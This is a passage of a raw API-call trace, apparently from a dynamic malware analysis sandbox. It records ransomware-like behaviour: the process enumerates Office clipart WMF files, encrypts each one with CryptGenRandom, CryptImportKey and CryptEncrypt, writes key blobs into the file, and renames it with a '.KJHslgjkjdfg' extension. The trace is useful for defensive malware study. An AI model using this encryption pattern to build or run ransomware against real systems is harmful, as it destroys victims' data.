(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.975] GetProcessHeap () returned 0x990000 [0193.975] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.975] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.975] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.975] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.975] GetProcessHeap () returned 0x990000 [0193.975] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.975] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.975] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.975] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.978] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.978] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.978] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.978] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.978] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.978] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.978] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.978] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.978] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f40, lpOverlapped=0x0) returned 1 [0193.979] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f40) returned 1 [0193.979] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.979] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f40, lpOverlapped=0x0) returned 1 [0193.980] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.980] SetEndOfFile (hFile=0x130) returned 1 [0193.982] GetProcessHeap () returned 0x990000 [0193.983] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.983] GetProcessHeap () returned 0x990000 [0193.983] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.kjhslgjkjdfg")) returned 1 [0193.984] CloseHandle (hObject=0x130) returned 1 [0193.984] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0193.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.985] GetProcessHeap () returned 0x990000 [0193.985] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.985] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.985] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.985] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.988] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.988] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.988] GetProcessHeap () returned 0x990000 [0193.988] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.988] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.988] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.988] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.988] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.988] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.988] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.988] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.988] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.988] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.988] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4054, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4054, lpOverlapped=0x0) returned 1 [0193.990] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4060, dwBufLen=0x4060 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4060) returned 1 [0193.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.990] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4060, lpOverlapped=0x0) returned 1 [0193.990] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.990] SetEndOfFile (hFile=0x130) returned 1 [0193.993] GetProcessHeap () returned 0x990000 [0193.993] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.993] GetProcessHeap () returned 0x990000 [0193.993] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.kjhslgjkjdfg")) returned 1 [0193.994] CloseHandle (hObject=0x130) returned 1 [0193.994] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0193.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.995] GetProcessHeap () returned 0x990000 [0193.995] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.995] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.996] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.998] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.998] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.998] GetProcessHeap () returned 0x990000 [0193.999] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.999] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.999] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.999] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.999] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.999] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.999] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.999] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.999] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.999] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.000] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1acc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1acc, lpOverlapped=0x0) returned 1 [0194.001] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ad0, dwBufLen=0x1ad0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ad0) returned 1 [0194.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.001] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ad0, lpOverlapped=0x0) returned 1 [0194.001] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.001] SetEndOfFile (hFile=0x130) returned 1 [0194.004] GetProcessHeap () returned 0x990000 [0194.004] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.004] GetProcessHeap () returned 0x990000 [0194.004] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.kjhslgjkjdfg")) returned 1 [0194.005] CloseHandle (hObject=0x130) returned 1 [0194.005] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0194.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.006] GetProcessHeap () returned 0x990000 [0194.006] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.007] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.007] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.007] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.009] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.009] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.009] GetProcessHeap () returned 0x990000 [0194.009] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.009] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.009] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.009] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.009] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0194.009] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0194.009] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0194.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0194.010] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0194.010] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.010] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.010] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1918, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1918, lpOverlapped=0x0) returned 1 [0194.011] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1920, dwBufLen=0x1920 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1920) returned 1 [0194.011] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.012] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1920, lpOverlapped=0x0) returned 1 [0194.012] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.012] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.012] SetEndOfFile (hFile=0x130) returned 1 [0194.014] GetProcessHeap () returned 0x990000 [0194.014] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0194.014] GetProcessHeap () returned 0x990000 [0194.014] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0194.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.kjhslgjkjdfg")) returned 1 [0194.016] CloseHandle (hObject=0x130) returned 1 [0194.016] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0194.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.017] GetProcessHeap () returned 0x990000 [0194.017] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0194.017] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0194.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0194.017] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0194.017] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0194.017] GetProcessHeap () returned 0x990000 [0194.017] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0194.017] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0194.017] CryptDestroyKey (hKey=0x9b6628) returned 1 [0194.017] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0194.019] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 